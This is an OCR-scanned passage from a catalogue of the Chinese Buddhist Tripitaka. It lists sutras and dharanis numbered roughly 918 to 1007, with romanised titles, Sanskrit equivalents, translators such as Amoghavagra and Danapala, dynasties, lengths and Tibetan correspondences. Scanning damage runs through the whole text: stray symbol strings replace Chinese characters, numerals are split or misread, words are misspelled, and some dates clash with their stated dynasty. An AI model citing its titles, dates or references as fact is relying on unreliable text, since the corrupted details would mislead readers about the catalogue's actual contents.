- aPo-sheu-phu-s -phu-thi-hhin-ki.' Ratnadatta (?)-bodhisattva-bodhikary-sfltra. '13 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4,fol. 14 a.9 18tsiPiU,Fo-shwo-yen-sheu-mio-man-tho-lo-ni-kin.Sfltra spoken by Buddha on the Dhrant of the wonderfulgate of increasing the life. '8 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 6,fol. x b. According to K'- tsi (fasc. 13 , fol. 9 b), thisis a later translation of Nos. 3 69 -3 71.91 9 ^ p ^^^Pt Yi-tshi-zu-li-min-hotho-lo-ni-kin.Sarvatathgatanma-dhrant-sutra. '3 leaves.9 20 Pt rai'g; I gFo-shwo-si- Chu-ts-nn-tho-lo-ni-kin.Sutra spoken by Buddha on the Dhrant of stopping thedanger of a thief. '2 leaves.The above two works agree with Tibetan. K'-.yuen-lu, fasc. 6, fol. 2 a seq.9 21-;41Fo- shwo-f-shan-kin.' Buddha>'^ hshita-dharmasarira-sutra. 'Dharmasarra-sutra.K'- Yuen-lu; fasc. 4, fol. ix b; conc. 126. 5 leaves.It agrees with Tibetan. K'-yuen-lu, s. v.9 22f041Sin-fd-kun-th-kin. (h)' Buddhasraddhaguna-sutra. 'xo leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 7, fol. 26 b. According to K' -tsi (fasc. 29 , fol. 7 b),this is a later translation of No. 545 (1 8).923 J ttFo-shwo-ki-hhi-kin. (h)' ^ fltra spoken by Buddha on Ki&-hhi (? lit. " explaining-summer ")'4 leaves. This work is mentioned under the headingof the Vinayapitaka of the Hnayna, in K'-yuen-lu,fasc. 8, fol. 20 b, where it is said to be wanting inTibetan. But K'-tsi (fasc. 3 1, fol. I 1 b) mentions thiswork as a Stra of the Hnayna.. 1;9 28207StrTRA-PITAY. A. 2089 24 ton. . --. 6,9 KomBuddhabhfishita-indra-sakra-pariprikkha-tultra. '15 leaves. Deest in Tibetan. K'-yuen-ln, fasc. 8,fol. 2 a. But according to K'-tsin (fasc. 28, fol. 17 a),this is a later translation of No. 545 (i4).9 25 POgit *,LE'Buddhabhashita-adbhuta-saddharma-sfitra:6 fasciculi. It agrees with Tibetan. K'-yuen-lu,fasc. 4, fol. Io b. According to (fasc. 5 b),this is a later translation of Nos. 174,182.The following two works were translated by $h'-hu(Dinapla I), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60-. 1127 :9 26aftifBuddhabhashita-rnahavaipulyopityakausalya-siltra. 'Gthanottara-bodhisattva-pariprikkhit.4 faseiculi. This is a later translation of Nos. 23 (3 8),52. fasc. 3 , fol. 1 7 b. But it is stated inK'-yuen-lu (fasc. 4, fol. Ic a), that this is a similartranslation of No. 23 (3 7).9 27
tit t. Pi173Fo-mu-khu-shatt-An. -06-tsM-pan-zo-po-lo-mi-to-kifk.Buddhamg,trigata-tridharmapitaka-pragfig,paramiti-sAtra. 'Dasas&hasrikft pragaparamit.25 fasciculi ; 3 2 chapters. This is a later translationof Nos. i (d), 5-8. Cf. K'-yuen-lu, fasc. 1, 'fol. 18 a;K'-tsin, fasc. 23 , fol. 19 a.The following two works were translated by F-hhien, A. D. 9 82-1001, of the later Sun dynasty, A. D.9 60-1127 :Fo-shwo-ki-tii1-1-kiii. (h) Settra spoken by Buddha on the determination of the meaning(of the law). '12 leaves. Deest in Tibetan. r-yuen-1u, f: z6 b.tot-r -01Fo-shwo-hu-kwo-kiii. (h)Buddhabhfishita-rashtrapala-stitra. 'lc, leaves. Deest in Tibetan. K'-yuen-lu, fan. 8,fol. 4 a. But according to R"-tsin (fasc. 28, fol. 1 6 b),this is a later translation of No. 542 (13 2).930 1 4IiEFo-shwo-fan-pieh-pu-sh'-kin. (h)Satxa spoken by Buddha on the division or explanation of gifts(DAua). 'Translated by Sh'-hu (Danapila7), A. D. 9 86moo,of the later Sun dynasty, A. D. , 9 60I 127. 4 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. 13 a. Butaccording to K'-tsin (fasc. 28, fol. 19 b), this is a latertranslation of No. 542 (180).9 3 1 f0 0 II fe4 t. Fo-shwo-fan-pieh-yuen-shali-kin. (h)' Satra spoken by Buddha on the division or explanation ofthe (twelve) Nid&nas. 'Translated by 11-thien (Dharmadeva ?), A. D. 9 73 -9 81, of the later Suit dynasty, A. D. 9 60-1127. 3 leaves.Deest in Tibetan. . K'-yuen-lu, fasc. 7, fol. 26 b.The following, twenty-two works, Nos. 9 3 2-9 53 ,were translated by Sh'-hu (Dnapitla I), A. D. 9 80-1000,of the later Sufi dynasty, A. D. 9 60--11279 3 2fotnictmqFo-shwo-fit-yin-kin. (h)BuddhabhAshita-dharmamudr&-sittas. '2 leaves. Deest. in Tibetan. K'-yuen-lu, fasc. 4,fol. 13 a. But according to K'- yuen (fasc. 2 9 , fol.lob), this is a later translation of a part of fasc. 3of No. 544.933 -% It t 41-(h)Buddhabhashita-InahfivatArtha-siltra!9 leaves. Deest in Tibetan. r-yuen-lu, fasc. 7,fol. 26 a. But according to K'-tsin (fasc. 28, fol. 14 a),this is a later translation of No. 542 (9 7).9 3 45,t II IN It' Jt1' MStara spoken by Buddha on raising the thought towards theBodhi and destroying all the Maras. '2 fasciculi. It t rees with Tibetan. K'-yuen-lu,fasc. 5, fol. i6 b. According to K'-tsin (f,:c. 9 , fql. 2 a),this is a later translation of No. 450.471c.9 29LLilit41411*4944209 StrTRA-PITAKA. 2109 3 5;41mi-to-kin.'Buddbabhashita-Arya-buddhamAtri-pragRaparamid-stttra. '- Pragaparamia-hridaya-s-Q tra.2 leaves. This is a later and longer translation ofNos. 19 , 20. K'-yuen-lu, fasc. fol. 8 b ; K'- tsifi,fasc. 23 , fol. 23 b. For the Sanskrit text, see Cat.Bodl. Japan. , No. 63 (d).9 3 6 in Tatril ggBuddhabhAshita-mahayanithintyarddhi-vishaya-siitra:3 fasciculi. Deest in Tibetan. . K'-yuen-lu, fasc. 5,fol. 17 a.9 41 &litFo-shwo-kin-shan-tho-10-ni-4j.'Buddhabhashita-suvarnakilya-dhgrani-sti. tra. '3 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 5,fol. 21 b.9 42AI YAit P9 41 ,,Fo-shwo-zu-wa-fan-pieh-fa-man-kitt.BuddhabhAshita-aprabhedftvatara (?)--dharmapary4a-stItra. '6 leaves. Deest in Tibetan. K'-yuen-lu, fan. 4,fol. 14 a.9 43 f4;4-Ai9 2:110aRfROVFo-shwo-tsiii-i-yiu-pho-s-su-wan-kin. (h)'Buddhabbashita-suddhamaty-upftsaka-pariprikkhil-sAtra. '6 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 2 a.9 3 7 f"illtri AR4*143It104 yin-yuen-kift. (h)`Skttra spoken by Buddha on the Nidana of the conversion ofthe daughter of the Sreshthin Anatb6,pindada. '3 fasciculi. This is a later translation of chapter 3 0of No. 543 . K'-yuen-lu, fasc. 7, fol. 27 a.9 3 8
lit*Ait1 9Fo-shwo-ta-tsi-fa-man-kin. (h)'BuddhabhAshita-niabisafigiti-dharmapariAya stra. '2 fasciculi. Deest in Tibetan. K'-yueii-lu, fasc. 7,fol. 26 a. But according to K'-tsin (fasc. 29 , fol. 7 a),this is a later translation of No. 545 (9 ).9 3 9 fOKIt" ITINagFo-shwo-kwiii-mifl-thuil-tsz'-yin-yilen-kin. (h)' Stara spoken by Buddha on the Nidna of the boy Prabhasa. '4 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 2 a.940 fOrRWVEit70'Buddhabbfishita-ratnamekbala-dhArant-sittra. '_ Mekhali-dharant.. K'-yuen-lu, fasc. 5, fol. 21 a; Conc. 412 ; A. R. ,p. 542; A. M. G. , p. 3 3 9 . zo leaves. This is a similartranslation of No. 854. fasc. fol. 4 a. ButK'-yuen-lu states that No. 9 4o is similar to No. 800,which seems to be wrong.Yo-shwo-kin-16,11-khti-kwfl-yen-pin-zo-po-lo-mi-to-kiao-kuii-yi-fan.'Apart of the teaching of the Vagramandalavyilha-pragfiapara-mita spoken by Buddha. 'ii leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 1, fol. i9 b.. 9 45?frtMI41Fo-shwo-si-katt-yin-yuen-kin. (h)Stara spoken by Buddha on the Avadna of stopping a quarrel. '9 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. i b. But according to (fan. 28, fol. 19 b),this is a later translation of No. 542 (19 6). er4411r,Fo-shwo-lehu-fan-shwo-kift. (h)'BuddhabhAshita-prathamavar::<vakana-satra. '2 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. i b.9 47 IFo-shwo-wu-w8i-sheu-su-wan-a-sha:1-kift.Buddhabhashita-vtradatta-pariprikichA-mahfiyana-stttra. '3 fasciculi; x7 leaves. It agrees with Tibetan.K'-yuen-lu, fasc. 4, fol, 15 a. According to K'-tsi(fasc. 3 , fol. 15 b), this is a later translation of Nos.23 (28), 3 89 .21 1STRA-PITA 2129 48 w A tcFo-shwo-yueh-y- kit. (h)'Buddhabhshita-kandropamna-sutra. '3 leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 8, fol. 3 a.949TFo-shwo-i-y -kit. (h)' Buddhabhshita-bhishag-upamana-sutra'2 leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 8, fol. 3 b.9 50Fo-shwo-kwn-tin-wt-yii-kit. (h) Buddhabhshita-mArddhabhishikta-rgopamna-sutra. '1 leaf. Deest in Tibetan. K'- yuen-lu, fasc. 8,fol. 2 b.9 51intontyFo-shwo-ni-k-tho-Bal-k'-kit. (h)' Buddhabhshita-nyagrodha-brahmakri-sutra. '2 fasciculi ; 16 leaves. Deest in Tibetan. K'-yuen-lu,fasc. 8, fol. 2 b. But according to K'-tsi (fasc. 29 ,fol. 6 b), this is a later translation of No. 545 (8).9 52 , ^. ^^^C ^` 1111 irP9 fat ^^^Fo-shwo-po-i-kin-kwn-'rh-pho-lo-man-yuen-khi-kit. (h)' Buddhabhshita-suklavastra-suvarnadhvaga-dvibrhmana-nidna-sutra. '3 fasciculi ; 21 leaves. Deest in Tibetan. K'-yuen-lu,fasc. 8, fol. 5 a. But according. to K'-tsi (fasc. 29 ,fol. 6 b), this is a later translation of No. 545 (5).9 53 a r m -T- m ^ ' qFo-shwo-fu-li-thi-tsz'-yin-yuen-kin. (h)` Buddhabhshita-punyabala-kumarvadna=sutra. 'Puyabalvadna.A. R. , p. 482 ; A. M. G. , p. 285. 3 fasciculi ; 23leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 4,fol. 14 b.9 54Fo-shwo-shan-mo-hhi-shu-kin. (h)'Buddhabhshita-samharshitaromakupagta-sutra. 'Translated by Wi-tsi, A. D. 1009 - 1050, of the laterSun dynasty, A. D. 9 60-1127. 3 fasciculi ; 3 1 leaves.It agrees with Tibetan. K'-yuen-lu,,fasc. 8, fol. . 6 a.955 * r 7- t itT- ^ han-pan-ahan- sin-ti-kwn-kin.' Mahyna-mulagta-hridayabhmi-dhyna-sutra. 'Translated by Pragila and others, A. D. 785-81o, ofthe Thin dynasty, A. D. 618-9 07. 8 fasciculi ; 13chapters. There is a preface added by the EmperorIIhien-tsu, A. D. 806-820, of the saine dynasty. . Deestin Tibetan. . '- yuen-lu, fasc. 4, fol. Yob.The following four works were translated by Amogba-vagra, _ A. D. 746-77 i, of the Th dynasty, A. D.618-9 07 :9 56OntUt,^';,aP9 ^t:Fo-shwo-/chu-shaii-wu-pien-man-tho-lo-ni-kin.Buddhabhshita-gtnantamukha-dhrant-sutra. '13 leaves. This is a later translation of Nos. 3 53 -3 60. K'-tsin, fasc. 1 3 , fol. 2o b.957 J1^
*m w ji ro oi1 'I; )3 2,41I^i-tshi-zu-l'i-sili-pi-mi-khen-^han-sh-li-po-klci^-yin-tho-lo- ni-kin. 'Sarvatathgatdhishthna-hridaya-guhya-dh "atu-karandamuda-dhranf(=sfltra).K'- yuen-lu, fasc. 5, fol. 1 0 b; Cone. 224. 7 leaves.It agrees with Tibetan. K'-yuen-lu, s. v.fe Wt * q 11 FY ^lc -t-ZFo-shwo-t-ki- sit-thien-n-shi-'rh-min-ho-kin.' Buddhabhshita-mahsri-deut-dvdasan&ma-sutra. 'Mahsrf-sAtra:K'-yuen-lu, fasc. 5, fol. 14 a ; Conc. 625.Mahsraya-sfttra.A. R. , p. 53 6 ; A. M. G. , p. 3 3 3 . 2 leaves.9 59 *ft* g 1` h*-f^Xl WAZ '. ;. N * A gFo-shwo-t-ki-siii-thien-n-shi-'rh-khi-yi-lai-p -miii-wu-keu-t-shan-kiii.' Buddhabhshita-mahsrt-devi-dvdasa-bandhanshtasatanama-vimala-mahayna-sutra'8 leaves.The above two works agree with Tibetan. K'-yuen-lu, fasc. 5, fol. 14 a.^^9 58213 StTRA-PITAgA. 2149 60'p rj` 141!t 4O 41Fo-shwo-yi-tshi-zu-lai-kin-k-sheu-mi-tho-lo-ni-ki.' Buddhabhshita- sarvatathgatavagryur'dbarant-sutra. 'Translated by Vagrabodhi, together with K'-ts(Gianakosa, i. e. another name of Amoghavagra), A. D.7 2 3 -730, of the Th dynasty, A. D. 618gory. 3 leaves.Deest in Tibetan. K'-yuen-lu, fast. 5, fol. io b. Butaccording to K'-tsi (fasc. 12, fol. 21 a), this is a laterand shorter translation of No. 49 5.The following three works were translated byAmoghavagra, A. D. 746-771, of the Thin dynasty,A. D. 618-9 07 :-9 61 Pt 4A)11Fo-shwo-z-y-li-thu-n-ki. Buddhabhshita-gaiigull-blik-sfltra. 'C-aguli-vidy.K'-yuen-lu, fasc. 4, fol. 8 b; Conc. 23 0 ; A. R,p. 518 ; A. M. G. , p. 3 18. 4 leaves. It agrees withTibetan. K'- yuen-lu, s. v.962 iainW.rFo-shwo-yii-po-tho-lo-ni-ki.' Buddhabhshita-varsharatna-dhrani-sutra. 'Ratnamegha-dhrani.K'- yuen-lu, fasc. 5, fol. 1 o b ; Conc. 879 . 5 leaves.This is a similar translation of Nos. 49 2, 787. K'-yuen-lu, s. v. ; K'-tsi, fasc. 13 ,' fol. 13 b.9 63 ,mo u A. i i * t , 'fa *Pa 41Tshz'- sh'- phu-sa-su-shwo-ta-shah-yuen-sha-tao-kn-y-ki.M aitreya-bodhisasattva-bhshita-mahyna-nidna-slisambhava-upamna-sutra:Slisambhava-s{itra.K'-yuen-lu, fase. 4, fol. 8 b ; Cone. 761. 9 leaves.This is a similar translation of Nos. 280, 281, 818, 867.K'-yuen-lu, s. v. ; K'-tsi, fasc. to, fol. 2 b.9 64 S P. -I MEgiFo-shwo-kh u-ki-ka-phu-s -su-wan-ki.Satra spoken by Buddha on the question of the BodhisattvaKhu-ki ka (" he who destroys the obstacle of covering"?). 'Ratnamegha-sutra.Cone. 161, 72 3 . Translated by Sh'-hu (Dnapala ?),F hu (Dharmaraksha ?), Wi-tOn, and others, aboutA, D. I 000i o I, of the later Sun dynasty, A. D. 9 60-I127. 20 fasciculi. This is a later and longer trans-lation of Nos. 151, 152. Deest in Tibetan. K' - yuen-lu,fase,4, fol. i5 b.9 65 tStgattirg:Zan-w-hu-kwo-pan-zo- po-lo-mi-to-ki.' Pragi pramit-sutra on a benevolent king who protectshis country. 'Translated by Amoghavagra, A. D. 746-77 1, of theTh dynasty, A. D. 618-9 07. 2 fasciculi ; 8 chapters.This is a later translation of No. 1 7. K'-yuen-lu, fasc. 1,fol. 17 a. There is a preface added by the Emperorni-tsu, A. D. 7 63 -779 , of the Than dynasty.9 66' 4414^!U?sUP , *ARth': X it #^^^ P9 41Wi-tai-kin-k-shwo-ahan-thu-t-man-tho-lo-ni-f-shu-li-yo-man-ki.' Stitra spoken by Malapda (? "dirty-footprint ")-vagra on theauspicious and important gate of the doctrine of super-natural and great perfect Dhranf. 'Translated 1 y Wu-na-sha, of the Than dynasty,A. D. 618-9 07. 4 leaves.4.-. f4iM t ff ' 11 $_Wi-tai-kin-k-fa-kin-pM-pien-f-man-ki.Malapda (?)-vagra-dharmanishedha(law-prohibition)-satavikriy-dharmaparyya-sutra. 'Translated by -kih-t-sien, of ,the Th dynasty,A. D. 618-9 07. 8 leaves.The following two works were translated by F-hu(Dharmaraksha ?), A. D. -1004-1058, of the later Sufidynasty, A. D. 618-9 07 :9 68 -ND lt,ZtFo-shwo-t-shaft-ta-fail-kw-fo-kwn-ki.' Buddhabhshita-mahyna-mahvaipulya-buddhamukuta-stra. '2 fasciculi. Deest in Tibetan. K' -yuen-lu, fasc. 4,fol. 15 a.9 69 `. RAA0f,Fo-shwo-0,-ku-khan-y-kuh. -th-kin. (h)' Sutra spoken by Buddha on eight kinds of good qualities formaking grow and nourishing. '2 leaves. It states briefly the rules for receivingthe moral precepts. K'. tsi, fasc. 28, fol. 20 b.The following two works were translated by Amogha-vagra, A. D. 746-771, of the Th dynasty, A. D. 618-9 07 :9 67 4A215STRA-PITAKA.2169 70 *
T-yun-lun-tsin-yii-kin.'SAtra on asking rain of the great cloud-wheel'Mahmegha-sutra.Conc. 667. 2 fasciculi. This is a later translationof Nos. 186-188. K'-yuen-lu, fasc. 2, fol. 26 a.9 71C.Tit-shah-mi-yen-kin.Mahayana-ghanavyflha-sutra.'Ghanavyha-sfitra.K'-yuen-lu, fasc. 4, fol. 9 a ; Conc. 577. 3 fasciculi ;8 chapters. This is a later translation of No. 444.K'-yuen-lu, s. v. There is a preface added by theEmperor Tai-tsu, A. D. 763 -779 , of the Thin dynasty.972 n*laFo-shwo-t-tsi-hwui-kan-f-ki.' Buddhabhashita-mahaasaingiti-saddharma-sAtra'Translated by Sh'-hu (Dnapla 7), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60I127. 5 fasciculi.It reel with Tibetan, but the latter is shorter.K'-yuen-lu, fasc. 1, fol. 7 b. According to K'-tsin(fasc. 5, fol. Io b), this is a later translation of No. 449 .The following three works were translated byAmoghavagra, A. D. 7 46-771, of the Thin dynasty,A. D. 618-9 07 :9 730;;Yeh-i-kw ,n-tsz'- is&i-phu-s-kiii.Leaf-dressed Avalokiteavara-bodhisattva-stra.'Parnasavari-dhftrant.K'-yuen-lu, fasc. 5, fol. 12 a; Conc. 857 ; A. R. ,p. 518 ; A. M. G. , p. 3 18. io leaves. It agrees withTibetan. K'-yuen-lu, s. v.9 74PIAPhi-sh-man-thien-wan-kin.Vaisramana-divyaraga-siltra'6 leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 5, fol. 20 'a. According to K'-tain . (fasc. 6, fol.1 7 b), this is a later translation of a part of chapter 12of No. 126.975 ^^F '^^_ ^" pppWan^hu-wan-kin-tsz'- mu-phin.' Maguert-pariprikkh-stra-akshara-nritrikdhyaya.'3 leaves.9 76 ^ln 1 ^^^1 r- fiA,t1 i9 it P9Hi-i-phu-s=su-wan-tsiii-yin-f-man-kin.Sagaramati-bodhisattva-pariprikkha-suddhamudr$-dharma-paryaya-stra.'Sitgaramati-pariprikkh.E'-yuen-lu, fasc. 4, fol. 15 b ; Conc. 155, 181 ; A. R. ,P. 448 ; A. M. G. , p. 253 . Translated by Wei-tsin,together with FA-hu (Dharmaraksha 7), A. D. 1009 Io58, of the later Sun dynasty, A. D. 9 60-1127.9 fasciculi. This is a later translation of chapter 5 ofNo. 61 (fasc. 8-11). This work exists in Tibetan.. K'-yuen-lu, s. v.9 77iift ta Ai =* ^^ .Pi-41 I I 41Fo-shwo-zu-hwn-s mn-mo-ti-wu-lin-yin-f-man-ki.' Buddhabhashita-myopama-samadhy-amitamudra-dharma-paryaya-stra'Translated by Sh' -hu (Dnapla I), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60-11 2 7. 3 f iculi.It agrees with Tibetan. K'-yuen-lu, fasc. 4, fol. I 1 a.According to K'-tsin (fasc. 3 , fol. 21 a), this is a laterand longer translation of No. 3 9 5.9 78? ni t ot t'esSheu-hu-kwo-ki-ku-tho-10-ni-kin.' Deetntapflapati-dharani-stra.'Translated by Praga, A. D. 785-8zo, of the Thdynasty, A. D. 618-9 07. 1 o fasciculi ; i 1 chapters.Deest in Tibetan. K'-yuen-lu, fasc. 6, fol. 5 b. Ac-cording to K'-tsi (fasc. 12, fol. 14 a seq. ), this is alater translation of chapter 2 of No. 61.The following seven works were translated byAmoghavagra, A. D. 7 46-771, of the Thin dynasty,A. D. 618-9 07 :-979= ` FA1 Zei^ ,GFo-shwo-san-shi-wu-fo-min-li-khan-wan.'Composition on the worship and confession concerning thenames of thirty-five Buddhas spoken by Buddha.'3 leaves. This is a later translation of a part ofNos. 23 (24), 3 6. It agrees with Tibetan. K'-yuen-lu,fasc. 4, fol. 8 b ; K'-tsiri, fasc. 3 , fol. 1 4 b.9 80 ^^^^^ ^w^^^^. . . ^^.,,:Kwn-tsz'-tsi-phu-s-shwo-phu-hhien-tho-lo-ni-kin.' Avalokitesvara-bodhisattva-bhashita-samantabhadra-flhrant-sAtra. '217S t"TRA-PITAKA. 2185 leaves. Deest in Tibetan. Jr-yuen-lu, fasc. 5,fol. 12 b.9 81 It A * tFo-shwo-pa-ti-phu-sa-man-thu-lo-kix1.' Buddhabhashita-ashtamahabodhisattva-mandala-satra. 'Ashtamandalaka-stra.4 leaves. This is an earlier translation of No. 880.K'-yuen-lu, fasc. 5, fol. 12 a.The following eight works were translated by Sh'-hu(Dnapla I), D. 9 80--1000, of the later Sun dynasty,. A. D. 9 6o-1127 :-9 86Fo-shwo-i-yii-kin. (h)'BuddhabhAshita-pipilikopamfina-stitra. '3 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 8,fol. 3 a.tt-179 82 l'Ot at figlift'Stara spoken by Buddha on the I:1111mM of purifying all therndiseases of the eye. 'Kakshuvisodhana-vidyi-dhirani. r-yuen-lu, fase. 5, fol. ii b; Conc. 3 86. Cf. A. R. ,p. 525 ; A. M. G. , p. 3 24. 2 leaves. It t rees withTibetan. . K'-yuen-lu, s. v. According to K'-tsin (fasc.1 3 , fol. 12 b), this is an earlier translation of No. 9 05.Cf. also No. 483 .Pt II )4:J 983Buddhabhitshita-sarva. sittra. 'Sarvarogaprasamani-dhirani.K'-yuen-lu, fasc. 5, fol. ii b; Conc. 722 ; A. R. ,p. 520; A. M. G. , p. 3 20. - i leaf. It agrees withTibetan. K'-yuen-lu, s. v.984 "Ant*if rBuddbabhAshita-gvalavaktrapreta-paritrana-dhArani-stItra. 'Gvalapraiamani-dharani(?).A. R. , p. 520; A. M. G. , p. 3 20. 4 leaves. This isa later translation of No. 53 9 . K'-yuen-lu, fasc. 5,fol. 8 b.9 85 4.rtilot1 st
J2,6110 ria-41,g' Yoga-mahArthasafigralia-Ananda-paritrna-dhArant-gvalavaktra(preta)-kalpa-sfltra. 'i fasciculus. It contains many Mudrs or certainpositions or intertwinings of the fingers.Shati-kwan-tsz'-itrya-avalokitesfara-bodhisathlmogharAga-guhya-hridaya-dhArani-siltra. 'oghap&sa-dhrani.12 leaves. This is a later translation of Nos. 3 12,3 15, 3 16, and chapter i of. No. 3 17. K'-yuen-lu,fasc. 5, fol. 16 b;fasc. 14, fol. 8 b.9 88 14 JJP, I fifi g Fo-shwo-shaii-kiun-w&-su-wan-kift. Buddhabhashita-prasenagit-raga-pariprikkhA-sittre , Ragavavidaka-settra.K'-yumx-lu, fasc. 7, fol. 27 b; Conc. 102; A. R.P. 459 '; ' M. G. , p. 263 . 8 leaves. It agrees withTibetan. K'-yen-lu, s. v. In this authority, No. 9 88.Li mentioned under the heading of the Sams of theEinayina, though the Sanskrit title is, fully trans-lite -4, as Irya-rgavavidakannia-mahayana-sfitra.9 89 Pii; E -L
Fo-shwo-lun-wall-tshi-pao-kin. (h)Buddhabhashita-lcakra(varti)-raga-sapta-ratna-stitra. '5 leaves. Deest in Tibetan. R'-yuen-lu, fan. 8,fol. 3 a. But according to K'-tsin (fasc. 28, fol. 3 a),this is a later translation of No. 542 (58).t 10Fo-shwo-yuen-shati-shu-kiii. (h) Buddhabhashita-grmagatadruma-sfttra. '2 leaves. Deest in Tibetan. K'-yuen-lu, fase.fol. 3 a. But according to(fasc. 28, fol. 10 a),this is a later translation of No. 542 (2).9 9 1 fratTA -1- P a -if 1411-Buddhabhashita-prasannartha(? " clear-meaning ")-pragiiapara-mita-siltra:9 87 n An -1$t9 9 0STRA-PI TAKA. 2192203 leaves. This is an extract from a larger text ofthe Pragiipraniit. K'-yuen-ln, fasc. i, fol. 18 b.9 9 2 VA %' **x5/7 g tipaPo-shwo-t-fn-kw-wi-tsh-yiu-ki-shan-khio-f-pin-phin.' Buddhabhshita-mahvaipulydbhuta-stltra-up yakaus aly d hy y a. '5 leaves. Deest in Tibetan. K. '-yuen-lu, fasc. 4,fol. 13 b.993 lt * WQOP9 eag.Fo-shwo-t-kien-ku-pho-lo-m an-yuen- khi-kiii. (h)'Buddhabhshita-mahsthira-brhmana-nidna-sutra. '2 fa^ ciculi; 22 leaves. Deest in Tibetan. K'-yuen-lu,fasc. 8, fol. 2 b. But according to K'-tsiii (fasc. 29 ,fol. . 6 a), this is a later translation of No. 545 (3 ).9 9 4 w ff it K 4 PA * 41-Fo-shwo-k-li-khn-k-su-wan-t-shiii-kiii.Buddhabhshita-mahbala-sreshthi-pariprikkh-mahyna-sutra. 'Translated by K'-ki-sin (Gnasrl l), A. D. 1053 , ofthe later Sufi dynasty, A. D. 9 6oI127. 3 fasciculi;27 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4,pl. 17 b.The following three works were translated by11-hhien, A. D. 9 82-1001, of the later Sun dynasty,A. D. 9 60-1127 :9 9 5fv) #^,l ' ^^^^*Fo-shwo-micro-ki-sin-phu-s-su-wan-ta-shan-fa-lo-kin.Buddhabhshita-magusrl-bodhisattva- pariprikkh- mahyna-dharmasari kha-sutra. '7 leaves. It agrees with ` Tibetan. K'- yuen-lu,fasc. 4, fol. 12 b. According to K'-tsi (fasc. I o, fol. 5 a),this is a later translation of Nos. 264, 265.996 tipp ;P9 41.Fo-shwo-sz'- phin-f-man-kin. (h)' Buddhabhshita^katurvarga-dharmaparyya-sutra. '6 leaves. It agrees with Tibetan. K' -Yuen-lu,fasc. 7, fol. 27 a.9 9 7A Atj. -'Fo-shwo-p&-t-phu-s-kin.' Buddhal3 h shita-asbtamahbodhisattva-sutra. '2 leaves. Deest in Tibetan. K' - yuen- ln, fase. 4,fol. 1 3 a.The following two works were translated by Sh' -bu(Dnapla l), A. D. 9 80- 1000, of the later Sufi dynasty,A. D. 9 60-1127 :9 9 8 -m ^ ^ ^ m,. ^: ^^' ^^^ E 1`Ci ^:Fo-shwo-sh'- yi-tshi-wu-wi-tho- lo-ni-ki. Buddhabhshita-sarv . . . ^ Atra. 'Sarvbhaya-pradna-dhraj2f.K'-yuen-lu, fasc. 6, fol. 2 a; Conc. 74 ; A. R. , p. 524 ;A. M. G. , p. 3 2 3 . 3 leaves. It agrees with Tibetan.K'-yuen-lu, s. v.999 141: A1` Mg t:^WAZAW fi: X41Shan-p-tshien- suri-pn-zo-po-lo-mi-to-yi-pi-p-min- kan- shih-yuen-i-tho-lo- ni-kin.' rya-ashiasahasra-gth (or -sloka)-pragiz. pramit-nmshta-sata-satyapurnrth-dhrant- sutra. '3 leaves. It agrees with Tibetan. K'-yuen-lu,fasc. i, fol. 19 a.1 000 1 e llt . ^4 4 iit g:Fo-shwo-yi-ki-tsun-tho-lo-ni-kin.'Buddhabhshita-ekakudrya-dhrant-sutra. 'Translated by Amoghavagra, A. D. 746-771, of theTha dynasty, A, D. 618-9 07. 16 leaves. Deest inTibetan. K'-yuen-lu, fasc. 5, fol. 1 3 b.
^1',,3 , 1001`'iKin-k-tshui-sui-tho-lo-ni.` Vagra-bhagaua-dhrant. 'Translated by Tshz'-hhien, of the later Sun dynasty,A. D. 9 60-1127. 3 leaves. Deest in Tibetan. . K'-yun-lu, fasc. 6, fol. 6 a, where the title is readTA-tshui-sui-tho-lo-ni-kin, or ' Mand-bhagana-dhkrani-siltra. '1002 * 1 ;4'
IEJL T413Pu-khun-ken-soh-phi-lu-k-n-fo-t-kwan-tin-kw-kan-yen-ki.' Amoghapsa-vairokana-buddha-mahbhishikta-prabhsa-mantra-sutra.Translated by Amoghavagra, A. D. 746-771, of theThsii dynasty, A. D. 618-9 07. 2 leaves.221 StTRA-PITAKA. . 2221003 itGTi-tsbi-phu-sa-pan-yuen-kin,Kshitigarbha-bodhisattva-pArvapranidhana-stra:Translated by . Sikshnanda, A. D. 69 5-700, of theThin dynasty, A. D. 618-9 07. 2 fasciculi ; i3 - chapters.1004 T-shan-li-tshii-liu-po-10-mi-to-kiA.' Mahyana-buddhi (? " reason ")-shatpraraita-sutra. 'Translated by Praga, A. D. 788, of the Thin dynasty,A. D. 618-9 07. I0 fasciculi; 10 chapters. There isa preface added by the Emperor Tai-tsun, A. D. 763 -779 , of the same dynasty. This Emperor died in 779 ,so that he (lid not see the whole work, because thetranslation was not finished till 788.1005 ^^ Pk**' ^ 'if'. itFo^shwo-t-shan-phu- s-tsn-kan-fa-kin.Buddhabhshita-m ab yana-b o dhisattva-pitaka-saddharma-sttra. 'Bodhisattva-pitaka.Translated by 11-hu (Dharmaraksha I), A. D. 1004-1058, of the later Sufi dynasty, A. D. 9 60-1127.40 fasciculi ; II chapters. This is a later translationof No. 23 (12). K'-yuen-lu; fasc. 4, fol. i6 a.1006 f0 ^^ ^=rw0 1 1 1Fo-wi-yiu-thien-wftn-shwo-wn-f . -kan-lun-kin.' Stara addressed by Buddha to King Udayana on the law ofkings and counsel for administration. 'Translated by Amoghavagra, A. D. 746-771 , of theTh dynasty, A. D. 618-9 07. 9 leaves. It agreeswith Tibetan. K'-yuen-lu, fasc. 4, fol. 9 a.1007 PDRA*tafiFo-shvvo-wu- t-sh'- kin. (h)' Buddhabhshita-pakamahapradana-sttra. 'Translated by Sh'-hu 